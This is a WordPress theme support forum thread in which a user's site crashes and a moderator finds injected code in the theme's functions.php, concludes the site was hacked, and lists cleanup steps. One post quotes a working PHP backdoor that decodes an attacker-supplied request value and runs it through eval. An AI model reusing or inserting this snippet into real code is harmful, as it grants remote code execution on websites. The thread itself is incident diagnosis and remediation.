Wordpress Themes - WP Forum at BFA
There will be no more development for Atahualpa (or any other theme), and no support. Also no new registrations. I turned off the donation system. I may turn the forum to read only if it gets abused for spam. Unfortunately I have no time for the forum or the themes. Thanks a lot to the people who helped in all these years, especially Larry and of course: Paul. Take care and stay healthy -- Flynn, Atahualpa developer, Sep 2021

Wordpress Themes - WP Forum at BFA » WordPress Themes » Atahualpa 3 Wordpress theme »

Atahualpa crashed my site.....or was I hacked?


  #1  
Old Nov 30, 2014, 11:27 PM
InsaneO
 
5 posts · Aug 2013
Suddenly after working for many years I got 500 Internal Server Error
Log shows this:
20141130T205829: powersandpowers.com/index.php
PHP Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /hermes/bosoraweb117/b2195/ipg.eugenep/wp-content/themes/atahualpa/functions.php on line 125
Can't even login to my site with Atahualpa enabled.
Had to switch to another theme temporally.

Please help.
  #2  
Old Dec 1, 2014, 03:13 AM
juggledad's Avatar
juggledad
 
23,765 posts · Mar 2009
OSX 10.11.5 WP 4.x Atahualpa(all) Safari, Firefox, Chrome
What versions of WP and Atahualpa?
What were you doing?
What recently changed? Any updates? New login? A new post?

this could be an issue where you exceeded the memory limit - try disabling all plugins and see if it works.

in the latest version of Atahualpa, line 125 of function.php is a comment....
__________________
"Tell me and I forget, teach me and I may remember, involve me and I learn." - Benjamin Franklin
Juggledad | Forum Moderator/Support

Last edited by lmilesw; Dec 1, 2014 at 08:45 AM.
  #3  
Old Dec 1, 2014, 12:51 PM
InsaneO
 
5 posts · Aug 2013
~What versions of WP and Atahualpa?~
WP 4.01 Don't know what version of Atahualpa but it should be the latest since it does not ask for the update.
~What were you doing? What recently changed? Any updates? New login? A new post?~
Absolutely nothing.
My wife has our site as browser home screen. We have not updated it for many weeks.
Suddenly it crashed. Tech support enabled another theme and site is back on.
This theme was working for many years!!!!

Thank you.
  #4  
Old Dec 1, 2014, 05:01 PM
juggledad's Avatar
juggledad
 
23,765 posts · Mar 2009
OSX 10.11.5 WP 4.x Atahualpa(all) Safari, Firefox, Chrome
something had have changed - it could even have been something on your host (like maintenance they did).
Try disabling all plugins and see if that allows Atahualpa to run.

Things just don't stop working when they have been working, something had to have changed.
__________________
"Tell me and I forget, teach me and I may remember, involve me and I learn." - Benjamin Franklin
Juggledad | Forum Moderator/Support
  #5  
Old Dec 1, 2014, 07:04 PM
InsaneO
 
5 posts · Aug 2013
I deactivated all plugins and as soon as I activated Atahualpa my site crashed with 500 Internal server error.
  #6  
Old Dec 2, 2014, 04:42 AM
juggledad's Avatar
juggledad
 
23,765 posts · Mar 2009
OSX 10.11.5 WP 4.x Atahualpa(all) Safari, Firefox, Chrome
I'd like to take a look at your atahualpa function.php - you can either send me a PM with an admin ID/PW or copy the file and attach it to a reply. If you send me a admin ID I promise NOT to activate the theme
__________________
"Tell me and I forget, teach me and I may remember, involve me and I learn." - Benjamin Franklin
Juggledad | Forum Moderator/Support
  #7  
Old Dec 2, 2014, 06:39 AM
InsaneO
 
5 posts · Aug 2013
Even if I give you my login you would not be able to login.
Here is the file you requested. I had to zip it to upload.

Thank you.
Attached Files
File Type: zip functions.zip (9.3 KB, 1170 views)
  #8  
Old Dec 2, 2014, 08:13 AM
juggledad's Avatar
juggledad
 
23,765 posts · Mar 2009
OSX 10.11.5 WP 4.x Atahualpa(all) Safari, Firefox, Chrome
I can go to the site with no problems right now.

Did you modify the function.php file? because it has code in it that is not part of the theme.
__________________
"Tell me and I forget, teach me and I may remember, involve me and I learn." - Benjamin Franklin
Juggledad | Forum Moderator/Support
  #9  
Old Dec 2, 2014, 12:03 PM
juggledad's Avatar
juggledad
 
23,765 posts · Mar 2009
OSX 10.11.5 WP 4.x Atahualpa(all) Safari, Firefox, Chrome
Interesting, someone over at wordpress.org said there site crashed and the same lines of code
HTML Code:
<?php 
$izland=array_merge($_REQUEST,$_COOKIE,$_SERVER);
$azland=isset($izland["landingzz"])?$izland["landingzz"]:(isset($izland["HTTP_LANDINGZZ"])?$izland["HTTP_LANDINGZZ"]:"");
if ($azland!=""){eval(strrev(base64_decode(strrev($azland))));}
?>
are in their themes function.php.

I'm begining to suspect you have been hacked...
__________________
"Tell me and I forget, teach me and I may remember, involve me and I learn." - Benjamin Franklin
Juggledad | Forum Moderator/Support

Last edited by juggledad; Jan 21, 2015 at 12:53 PM.
  #10  
Old Dec 2, 2014, 02:51 PM
InsaneO
 
5 posts · Aug 2013
I have another site that runs on Atahualpa and it also has the same problem. Tech support was able to restore function.php from backup and it is running again.
  #11  
Old Dec 2, 2014, 05:21 PM
juggledad's Avatar
juggledad
 
23,765 posts · Mar 2009
OSX 10.11.5 WP 4.x Atahualpa(all) Safari, Firefox, Chrome
My guess is that you have been hacked and if you don't close the hole that the hacker used to get in, you will be hacked again. Just updating that one file will not do it, you need to change
1) all your FTP passwords
2) your cPanel passwords
3) all WordPress Admin passwords
4) your computer password
5) you need to load a fresh copy of wordpress, every plugin and every theme in your site
6) you need to run a virus scan of every computer that has admin access to the site

you should talk to your host and see if they can help you fine the entryway the hacker used because it could even be a cross server attack.

You might want to go to your sie backups to see if you can find out when you were first hacked.

Good Luck.
__________________
"Tell me and I forget, teach me and I may remember, involve me and I learn." - Benjamin Franklin
Juggledad | Forum Moderator/Support

Bookmarks



Similar Threads
Thread Thread Starter Forum Replies Last Post
[SOLVED] Atahualpa 3.6.4 Crashed my site Cheers New Versions, & Updating 10 Feb 3, 2011 10:14 AM
[SOLVED] My Atahualpa-powered site hacked, redirects elsewhere bswb97 Atahualpa 3 Wordpress theme 2 Nov 27, 2010 12:19 PM
My site has been hacked - atahualpa 3.4.6 Mikii New Versions, & Updating 11 Jun 17, 2010 10:09 PM


All times are GMT -6. The time now is 12:11 AM.


Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.